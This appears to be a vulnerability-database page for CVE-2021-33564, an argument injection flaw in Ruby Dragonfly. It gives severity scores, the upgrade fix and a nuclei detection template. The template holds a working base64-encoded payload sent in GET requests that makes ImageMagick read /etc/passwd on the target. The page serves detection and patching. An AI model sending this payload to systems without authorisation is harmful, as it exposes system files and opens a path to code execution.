HexBrain

Browse / CVEs / CVE-2021-33564

CVE-2021-33564· dragonfly project / dragonfly· CWE-88

Ruby Dragonfly <1.4.0 - Remote Code Execution

criticalseverity
9.8CVSS score
72.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Ruby Dragonfly before 1.4.0 contains an argument injection vulnerability that allows remote attackers to read and write to arbitrary files via a crafted URL when the verify_url option is disabled. This may lead to code execution. The problem occurs because the generate and process features mishandle use of the ImageMagick convert utility.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Upgrade Ruby Dragonfly to version 1.4.0 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/system/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ== ; GET {{BaseURL}}/system/refinery/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ==
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-33564 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-33564

info:
  name: Ruby Dragonfly <1.4.0 - Remote Code Execution
  author: 0xsapra
  severity: critical
  description: Ruby Dragonfly before 1.4.0 contains an argument injection vulnerability that allows remote attackers to read and write to arbitrary files via a crafted URL when the verify_url option is disabled. This may lead to code execution. The problem occurs because the generate and process features mishandle use of the ImageMagick convert utility.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade Ruby Dragonfly to version 1.4.0 or later to mitigate this vulnerability.
  reference:
    - https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/
    - https://github.com/markevans/dragonfly/compare/v1.3.0...v1.4.0
    - https://github.com/markevans/dragonfly/commit/25399297bb457f7fcf8e3f91e85945b255b111b5
    - https://github.com/mlr0p/CVE-2021-33564
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33564
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-33564
    cwe-id: CWE-88
    epss-score: 0.72143
    epss-percentile: 0.99436
    cpe: cpe:2.3:a:dragonfly_project:dragonfly:*:*:*:*:*:ruby:*:*
  metadata:
    max-request: 2
    vendor: dragonfly_project
    product: dragonfly
    framework: ruby
  tags: cve2021,cve,rce,ruby,injection,dragonfly_project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/system/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="
      - "{{BaseURL}}/system/refinery/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from